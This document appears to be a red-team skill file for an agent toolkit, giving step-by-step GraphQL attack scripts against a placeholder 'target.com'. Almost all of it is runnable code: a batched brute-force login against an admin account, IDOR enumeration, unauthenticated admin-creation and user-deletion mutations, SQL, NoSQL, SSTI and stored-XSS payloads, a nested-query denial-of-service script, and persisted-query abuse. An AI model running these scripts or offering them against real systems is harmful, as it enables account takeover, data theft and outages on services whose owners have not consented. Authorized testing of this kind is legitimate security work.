---
name: rt-exploit-graphql
description: "GraphQL-specific attack techniques — introspection enumeration, field suggestions bypass, batching attacks (rate limit bypass), nested query DoS, IDOR via GraphQL, injection through arguments, authorization bypass, persisted query exploitation, subscription hijacking. Dedicated skill beyond generic API testing. Tools: graphql-cop, InQL, graphw00f, Burp Suite extensions. Docker: rtexit/kali:v3.0."
---

> 🐳 **Docker Environment (Recommended):** `docker exec -it rtexit-kali bash`

# rt-exploit-graphql — GraphQL Security Testing

## Overview

GraphQL APIs expose a completely different attack surface from REST. A single endpoint handles all operations, introspection reveals the entire schema, and batch queries can bypass rate limiting. Most developers underestimate GraphQL security.

**When to use:**
- Target has GraphQL endpoint (`/graphql`, `/api/graphql`, `/v1/graphql`)
- Testing a modern web/mobile app with complex data requirements
- After discovering GraphQL via JS analysis or network traffic

---

## Phase 1: Identify GraphQL Endpoints

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com

# Common GraphQL paths
for path in /graphql /api/graphql /graphiql /playground /v1/graphql /v2/graphql /query /gql; do
  STATUS=\$(curl -sk -o /dev/null -w '%{http_code}' \"\${TARGET}\${path}\")
  if [ \$STATUS != '404' ]; then
    echo \"[\$STATUS] \${TARGET}\${path}\"
  fi
done

# JavaScript analysis — find GraphQL in frontend code
docker exec rtexit-kali bash -c \"
  curl -sk \$TARGET | grep -oE '/[a-z/_-]*graphql[a-z/_-]*' | sort -u
  curl -sk \$TARGET | grep -oE 'graphqlUrl|graphqlEndpoint|gqlUrl' | head -10
\"
"
```

---

## Phase 2: Introspection — Schema Discovery

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# Full introspection query
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{\"query\":\"{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}},args{name,type{name,kind,ofType{name,kind}},defaultValue}}}}}\"}' \
  | python3 -m json.tool | head -100

# Get all query/mutation names
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{\"query\":\"{__schema{queryType{fields{name,description}},mutationType{fields{name,description}}}}\"}' \
  | python3 -c \"
import json,sys
r = json.load(sys.stdin)
schema = r.get('data',{}).get('__schema',{})
print('=== QUERIES ===')
for f in schema.get('queryType',{}).get('fields',[]):
    print(f'  {f[\\\"name\\\"]}: {f.get(\\\"description\\\",\\\"\\\")[:60]}')
print('=== MUTATIONS ===')
for f in schema.get('mutationType',{}).get('fields',[]):
    print(f'  {f[\\\"name\\\"]}: {f.get(\\\"description\\\",\\\"\\\")[:60]}')
\"
"
```

---

## Phase 3: graphql-cop — Automated Security Audit

```bash
docker exec rtexit-kali bash -c "
# graphql-cop covers: introspection, DoS, injection, CSRF, debug
python3 /opt/graphql-cop/graphql-cop.py \
  -t https://target.com/graphql \
  -o /tmp/graphql_audit.json 2>/dev/null || \
graphql-cop -t https://target.com/graphql 2>/dev/null

# Parse results
cat /tmp/graphql_audit.json | python3 -c \"
import json,sys
for vuln in json.load(sys.stdin):
    if vuln.get('result'):
        print(f'[VULN] {vuln[\\\"title\\\"]} ({vuln[\\\"severity\\\"]})')
        print(f'  {vuln[\\\"description\\\"]}')
\"
"
```

---

## Phase 4: InQL — Deep Schema Analysis + Attack

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# Scan with InQL
inql -t \$TARGET -o /tmp/inql_output/

# Generated files:
ls /tmp/inql_output/
# *.query — sample queries for every type
# *.mutation — sample mutations
# report.html — visual schema map

# Use generated queries as testing baseline
cat /tmp/inql_output/*.query | head -50
"
```

---

## Phase 5: Disable Introspection Bypass

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# If introspection is disabled, use field suggestions
# GraphQL engines leak type names through suggestions

# Test suggestion bypass
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{\"query\":\"{user{id,emali}}\"}' \
  | grep -i 'did you mean\|suggestion'
# Output: 'Did you mean \"email\"?' → field exists!

# Systematic field enumeration via suggestions
docker exec rtexit-kali bash -c \"
for field in id email password token role admin secret hash salt; do
  result=\\\$(curl -sk https://target.com/graphql \\\\
    -H 'Content-Type: application/json' \\\\
    -d '{\\\"query\\\":\\\"{user{'\\\$field'}}\\\"}' \\\\
    | grep -i 'did you mean\|Cannot query field')
  echo \\\"\\\$field: \\\$result\\\"
done
\"
"
```

---

## Phase 6: Batching Attack — Bypass Rate Limiting

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# Array batching — send 1000 queries in single HTTP request
# Bypasses rate limiting that counts HTTP requests, not GraphQL operations

python3 - << 'EOF'
import json, requests

target = 'https://target.com/graphql'
# Batch 1000 login attempts in ONE request
batch = [
    {'query': 'mutation { login(email: \"admin@target.com\", password: \"' + pwd + '\") { token } }'}
    for pwd in open('/opt/SecLists/Passwords/top1000.txt').read().splitlines()[:1000]
]

resp = requests.post(target, json=batch, 
    headers={'Content-Type': 'application/json'}, 
    verify=False, timeout=30)

for i, result in enumerate(resp.json()):
    if result.get('data', {}).get('login', {}).get('token'):
        print(f'[+] FOUND! Password: {batch[i]}')
        break
EOF
"
```

---

## Phase 7: IDOR & Authorization Bypass

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql
AUTH_TOKEN=eyJhbGciOiJIUzI1NiJ9... # your session token

# Test IDOR — change ID to access other users' data
for id in 1 2 3 100 999 1000; do
  result=\$(curl -sk \$TARGET \
    -H 'Content-Type: application/json' \
    -H \"Authorization: Bearer \$AUTH_TOKEN\" \
    -d \"{\\\"query\\\": \\\"{user(id: \$id){ id email phone role }}\\\"}\" \
    | python3 -c 'import json,sys; u=json.load(sys.stdin).get(\"data\",{}).get(\"user\",{}); print(u) if u else None')
  echo \"User \$id: \$result\"
done

# Test missing authorization on mutations
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -H 'Authorization: Bearer LOW_PRIV_TOKEN' \
  -d '{ \"query\": \"mutation { deleteUser(id: 1) { success } }\" }'

# Test for admin mutations without auth
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{ \"query\": \"mutation { createAdmin(email: \"attacker@evil.com\", password: \"pass\") { id token } }\" }'
"
```

---

## Phase 8: Injection via GraphQL Arguments

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# SQL injection through arguments
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{ \"query\": \"{ users(filter: \\\"1 OR 1=1--\\\") { id email password } }\" }'

# NoSQL injection (MongoDB)
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{ \"query\": \"{ user(id: \\\"{\\\\\"\\\\$gt\\\\\": \\\"\\\"}\\\") { email password } }\" }'

# SSTI in arguments
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{ \"query\": \"{ search(query: \\\"{{7*7}}\\\") { results } }\" }'
# If response contains 49 → SSTI

# XSS stored via GraphQL mutation
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{ \"query\": \"mutation { updateProfile(bio: \\\"<script>alert(1)</script>\\\") { id } }\" }'
"
```

---

## Phase 9: Nested Query DoS (Depth Attack)

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# Generate deeply nested query — can crash servers without depth limiting
python3 - << 'EOF'
import requests

depth = 50
query = '{ user { ' + 'friends { ' * depth + 'id name' + '}' * depth + '} }'

resp = requests.post('https://target.com/graphql',
    json={'query': query},
    headers={'Content-Type': 'application/json'},
    verify=False, timeout=10)

print(f'Status: {resp.status_code}')
print(f'Response size: {len(resp.content)} bytes')
print(resp.json())
EOF
"
```

---

## Phase 10: Persisted Query Exploitation

```bash
docker exec rtexit-kali bash -c "
TARGET=https://target.com/graphql

# Find persisted query IDs
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d '{ \"extensions\": { \"persistedQuery\": { \"version\": 1, \"sha256Hash\": \"KNOWN_HASH\" } } }'

# Abuse persisted queries to access admin functions
# If server stores queries by hash — inject your own
MALICIOUS_QUERY='{ users { id email password role } }'
HASH=\$(echo -n \"\$MALICIOUS_QUERY\" | sha256sum | awk '{print \$1}')

# Register and execute
curl -sk \$TARGET \
  -H 'Content-Type: application/json' \
  -d \"{\\\"query\\\": \\\"\$MALICIOUS_QUERY\\\", \\\"extensions\\\": {\\\"persistedQuery\\\": {\\\"version\\\": 1, \\\"sha256Hash\\\": \\\"\$HASH\\\"}}}\"
"
```

---

## Related Skills
- `rt-exploit-api` — REST API testing methodology
- `rt-exploit-injection` — injection via GraphQL arguments
- `rt-exploit-idor` — IDOR through GraphQL object access
- `rt-js-analysis` — find GraphQL schema from JS bundles

## References
- https://github.com/dolevf/graphql-cop
- https://github.com/nicowillis/inql
- https://attack.mitre.org/techniques/T1190/ — Exploit Public-Facing Application
- https://graphql.org/learn/introspection/
